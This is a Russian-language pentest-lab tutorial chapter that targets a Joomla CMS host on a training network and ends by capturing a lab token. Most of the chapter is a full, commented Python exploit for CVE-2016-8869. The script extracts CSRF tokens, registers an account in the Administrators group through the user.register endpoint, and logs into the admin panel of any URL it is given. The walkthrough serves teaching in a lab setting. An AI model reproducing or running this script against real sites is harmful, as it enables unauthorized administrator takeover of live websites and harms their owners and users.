Глава 9
Предыдущая главаСледующая глава
Оглавление
Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):
С этой статьи вы научитесь пользоваться публичными уязвимостями известных
Ссылка скрыта от гостей
(систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей
Ссылка скрыта от гостей
Ну что же начнем:
Пробросим порт:
Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS
Что бы удостоверится глянем исходный код страницы:
Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:
В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:
Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:
Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.
После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:
Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:
Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys #Стандартная Библиотека,будет используватся для вывода на экран банера
import re #Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import argparse #Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import random #Стандартная Библиотека,будет задействована для вывода на экран банера
import time #Стандартная Библиотека,будет задействована для вывода на экран банера
import requests #Стандартная Библиотека,будет задействована для создание HTTP запросов
from termcolor import colored #Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor
#Функция для создание парсера опций нашего скрипта
def parse_options():
parser = argparse.ArgumentParser(description='Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для Codeby.Net',epilog="Контакная ифнормация:\n http://vk.com/corpofhack")
parser.add_argument('url', help='Адрес URL для Joomla CMS')
parser.add_argument('-u','--username', default='codeby',help='Логин для регистрации Администратора')
parser.add_argument('-p','--password', default='1337',help='Пароль для регистрации Администратора')
parser.add_argument('-e','--email', default='DarkNode@codeby.net',help='Ваш Email')
return parser.parse_args()
#Функция для извлечения CSRF токена в HTML странице
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[!] Не смог найти CSRF token")
return None
return match.group(1)
#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def create_user(options, sess, token): #Принимает на вход опции взятые из парсера, открытую сессию,и токен
"""
Создание учетной записи администратора через CVE
"""
data = {
# Пользовательский обьект
'user[name]': options.username,
'user[username]': options.username,
'user[password1]': options.password,
'user[password2]': options.password,
'user[email1]': options.email,
'user[email2]': options.email,
'user[groups][]': '7', # 7 = Группа Администраторы
'user[activation]': '0',
'user[block]': '0',
# Данные формы
'form[name]': options.username,
'form[username]': options.username,
'form[password1]': options.password,
'form[password2]': options.password,
'form[email1]': options.email,
'form[email2]': options.email,
'form[option]': 'com_users',
'form[task]': 'user.register',
token: '1',
}#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False, verify=False)
#Функция которая пытается залогинится от админа
def try_admin_login(options, sess):
admin_url = options.url + '/administrator/index.php'
print('[...] Получение токена для логина Администратора')
resp = sess.get(admin_url, verify=False)
token = extract_token(resp)
if not token:
return False
print('[*] Входим в админ панель...')
data = {
'username': options.username,
'passwd': options.password,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data, verify=False)
if 'task=profile.edit' not in resp.text:
print('[!] Попытка входа под Администратором неудачная!')
return
print(colored('[+] Успешный вход в админ панель!','cyan'))
return True
#Функция самого хека джумлы
def pwn_joomla(options):
sess = requests.Session()
print("[...] Получение CSRF токена")
resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)
token = extract_token(resp)
if not token:
return False
print colored("[!] Создание учетной записи Администратора","red")
resp = create_user(options, sess, token)
can_login = try_admin_login(options, sess)
if not can_login:
# TODO: periodically check if we can login as admin
print("[-] Проверьте почту для активации аккаунта")
try:
resp = raw_input('[?] Нажмите любую клавиши после активации аккаунта')
except KeyboardInterrupt:
return False
can_login = try_admin_login(options, sess)
if not can_login:
return False
print colored("[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]","green")
print "Используйте логин: " + colored(options.username,"yellow")+" и пароль: "+colored(options.password,"yellow")+" для входа в Панель Администратора"
#Вывод банера
def print_logo():
clear = "\x1b[0m"
colors = [31, 32, 33, 34, 35, 36]
logo = """
=====================================================================
#### #### ##### ###### ##### # # # # ###### #####
# # # # # # # # # # # ## # # #
# # # # # ##### ##### # # # # ##### #
# # # # # # # # # ### # # # # #
# # # # # # # # # # ### # ## # #
#### #### ##### ###### ##### # ### # # ###### #
____ _ _ _ _
| _ \ __ _ _ __| | _| \ | | ___ __| | ___
| | | |/ _` | '__| |/ / \| |/ _ \ / _` |/ _ \
| |_| | (_| | | | <| |\ | (_) | (_| | __/
|____/ \__,_|_| |_|\_\_| \_|\___/ \__,_|\___|
**********************************************
+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
|J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
contacts:
https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
for line in logo.split("\n"):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
#Главная функция
def main(base_url):
options = parse_options()
print_logo()
if pwn_joomla(options):
print("[+] УСПЕХ!!!:", options.url)
else:
pass
if __name__ == "__main__":
sys.exit(main("http://127.0.0.1/"))
Ну а дальше профит:
Входим в админку...Смотрим ,есть статья одна не опубликованная
Смотрим Alias - там что то похоже на токен)
Проверяем:
Токен взят)
Вот видосик:
Предыдущая глава
Следующая глава
Оглавление